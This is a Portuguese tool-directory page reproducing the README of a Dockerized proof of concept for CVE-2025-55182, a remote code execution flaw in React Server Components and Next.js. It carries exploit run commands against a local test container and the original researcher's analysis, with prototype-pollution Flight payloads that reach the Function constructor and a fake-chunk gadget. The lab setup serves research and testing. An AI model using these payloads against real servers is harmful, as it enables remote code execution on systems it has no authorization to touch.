Skip to content
KitploitKITPLOIT
FerramentasBlog
Log in
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2025-55182-Dockerized — Dockerized proof-of-concept para CVE-2025-55182, uma RCE crítica em React Server Components via poluição de protótipo, com scripts de exploit automatizados e um ambiente de teste Next.js vulnerável. | Kitploit
Ferramentas/GitHubGitHub/clevernyyyy/cve-2025-55182-dockerized
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebAprendizado e EducaçãoDesenvolvimento de PayloadsLabs e Prática
GitHubclevernyyyy/cve-2025-55182-dockerized

CVE-2025-55182-Dockerized

Dockerized proof-of-concept para CVE-2025-55182, uma RCE crítica em React Server Components via poluição de protótipo, com scripts de exploit automatizados e um ambiente de teste Next.js vulnerável.

Ver Repositório
114há 7 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2025-55182 - Prova de Conceito Dockerizada

Este repositório contém uma prova de conceito dockerizada para a CVE-2025-55182, uma vulnerabilidade crítica de execução remota de código nos React Server Components (RSC) que afeta aplicações Next.js que utilizam Server Actions.

Créditos

A prova de conceito original e a análise da vulnerabilidade foram criadas por msanft. Este repositório estende o trabalho deles ao fornecer um ambiente de teste dockerizado para facilitar os testes e a demonstração.

Início Rápido

Pré-requisitos

  • Docker instalado e em execução
  • Python 3 com a biblioteca requests (pip install requests)

Executando o Exploit

  1. Inicie o servidor Next.js vulnerável:

    docker compose up --build -d
    
  2. Aguarde o servidor iniciar (verifique os logs com docker compose logs -f nextjs-server)

  3. Execute o exploit:

    # Automated script (recommended)
    ./exploit-docker.sh
    
    # Or manually
    ACTION_ID=$(curl -s http://localhost:3000 | grep -o '[a-f0-9]\{40\}' | head -1)
    python3 poc.py http://localhost:3000 "$ACTION_ID" "touch /tmp/rce_test"
    
  4. Verifique se o exploit funcionou:

    docker compose exec nextjs-server ls -la /tmp/rce_test
    

Exemplos de Comandos

# Create a file
python3 poc.py http://localhost:3000 "$ACTION_ID" "touch /tmp/rce_test"

# Write to a file
python3 poc.py http://localhost:3000 "$ACTION_ID" "echo 'RCE_SUCCESS' > /tmp/rce_output"

# Check current user
python3 poc.py http://localhost:3000 "$ACTION_ID" "whoami > /tmp/rce_user"

# Verify results
docker compose exec nextjs-server cat /tmp/rce_output
docker compose exec nextjs-server cat /tmp/rce_user

Notas Importantes

  • ⚠️ Erros de tempo limite são ESPERADOS - eles indicam que o RCE foi executado com sucesso
  • O servidor trava após executar o comando, o que causa o tempo limite do HTTP
  • Os comandos são executados como o usuário nextjs (UID 1001) dentro do contêiner
  • Os arquivos são criados no sistema de arquivos do contêiner, não no host

Configuração Docker

Este repositório inclui uma configuração Docker completa para testar a vulnerabilidade:

  • docker-compose.yml - Configuração do Docker Compose
  • test-server/ - Aplicação Next.js vulnerável
  • test-server/Dockerfile - Dockerfile de produção
  • test-server/Dockerfile.dev - Dockerfile de desenvolvimento (opcional)

O servidor vulnerável executa Next.js 16.0.6 com uma Server Action simples que pode ser explorada.

Arquivos

  • poc.py - Script Python de prova de conceito (original de msanft, com correções de escape de aspas)
  • exploit-docker.sh - Script de exploit automatizado para o ambiente Docker
  • DOCKER_SETUP.md - Documentação abrangente de configuração Docker

Limpeza

# Stop the container
docker compose down

# Remove everything (including volumes)
docker compose down -v

Análise Original da Vulnerabilidade

A análise detalhada da vulnerabilidade, a cadeia de exploração e as informações sobre o patch da pesquisa original são fornecidas abaixo.


Pesquisa Original por msanft

Esta vulnerabilidade permite RCE nas React Server Functions, como as oferecidas pelo Next.js por meio de referências inseguras a protótipos.

Não sou especialista em React ou Next.js, portanto, leve todas as informações aqui com um grão de sal. Além disso, ainda estou no processo de análise, então o que descrevo abaixo como "a vulnerabilidade" pode ser apenas uma pequena parte de toda a cadeia.

Contexto

O React oferece Server Functions[^1], que podem ser vistas como uma espécie de RPC sobre HTTP. Elas podem ser usadas para buscar dados de pares adjacentes para garantir baixa latência, ou realizar requisições autenticadas para as quais o cliente não possui credenciais.

O React usa algo chamado React Flight Protocol[^2] para serialização dos valores passados às Server Functions.

O cliente passa "chunks" para o servidor, por exemplo, via form data:

files = {
    "0": (None, '["$1"]'),
    "1": (None, '{"object":"fruit","name":"$2:fruitName"}'),
    "2": (None, '{"fruitName":"cherry"}'),
}

Como mostrado, esses chunks podem ter referências entre si. O payload acima é desserializado no servidor da seguinte forma:

{ object: 'fruit', name: 'cherry' }

O formato em si é um pouco mais intrincado e permite serialização e desserialização mais complexas, mas isso fornece uma compreensão básica da vulnerabilidade real.

Vulnerabilidade

Até este commit[^3], ao percorrer chunks na resolução de referências, como obter fruitName do chunk 2 no exemplo acima, o React não verificava se a chave solicitada estava de fato definida no objeto. Isso nos permitia obter o protótipo do objeto[^4].

Isso pode ser demonstrado com um payload como este:

files = {
    "0": (None, '["$1:__proto__:constructor:constructor"]'),
    "1": (None, '{"x":1}'),
}

Que é desserializado para o construtor de função[^5]:

[Function: Function]

Quando o chunk com ID 0 não é um array, mas um objeto, podemos definir a chave then como o construtor de função. O objeto é então retornado pela função decodeReplyFromBusboy e aguardado pelo Next.js:

// action-handler.ts:888 (pre-patch)
boundActionArguments = await decodeReplyFromBusboy(
    busboy,
    serverModuleMap,
    { temporaryReferences }
)

Quando isso retorna um thenable, o await no chamador o invocará. Isso é o que acontece com este payload:

files = {
    "0": (None, '{"then":"$1:__proto__:constructor:constructor"}'),
    "1": (None, '{"x":1}'),
}

Levando a este erro:

SyntaxError: Unexpected token 'function'
    at Object.Function [as then] (<anonymous>) {
      digest: '1259793845'
    }

O erro se parece com isso porque o V8 chama uma função aguardada (awaited) com as funções internas resolve e reject, que, quando convertidas com toString, são serializadas para algo como isto:

function () { [native code] }

Exploração

Como podemos trivialmente obter o construtor Function, o caminho direto é encontrar um gadget de chamada que invoque o construtor com um valor controlado pelo usuário (ou seja, o código da função como uma string) e depois chame a função retornada.

Existem vários lugares que podem chamar o construtor de função, por exemplo, resolveServerReference, onde id é um objeto controlado, e lastIndexOf pode ser sobrescrito para retornar uma string controlada pelo usuário (por exemplo, via Array.prototype.join) e slice pode ser sobrescrito para o construtor de função. No entanto, esse lugar não funciona porque a segunda invocação de .slice() fornece um número como primeiro argumento, que, pelo que sei, nunca pode ser tratado pelo construtor de função.

Aqui, uma ideia brilhante de maple3142[^7] entra em cena. Quando getChunk obtém o chunk no ID 0 como referência raiz para começar a resolver a cadeia de referências, esse mesmo chunk pode resolver para um "chunk falso" criado especialmente.

Podemos referenciar o chunk 0 criado no chunk 1 usando a sintaxe $@, que retorna o chunk "cru", não o seu valor resolvido:

case "@":
  return (
    (obj = parseInt(value.slice(2), 16)), getChunk(response, obj)
  );

Combinando isso com nossa sobrescrita de then acima, podemos criar algo como isto:

files = {
    "0": (None, '{"then": "$1:__proto__:then"}'),
    "1": (None, '"$@0"'),
}

Aqui, o chunk 0 sobrescreve seu próprio .then() com o .then() de sua própria representação de chunk cru. Em termos simples, sobrescrevemos nosso próprio .then() com Chunk.prototype.then, que existe, pois os Chunks são thenables:

Chunk.prototype.then = function (resolve, reject) {
      switch (this.status) {
        case "resolved_model":
          initializeModelChunk(this);
      }
      // ...
Baixar ferramenta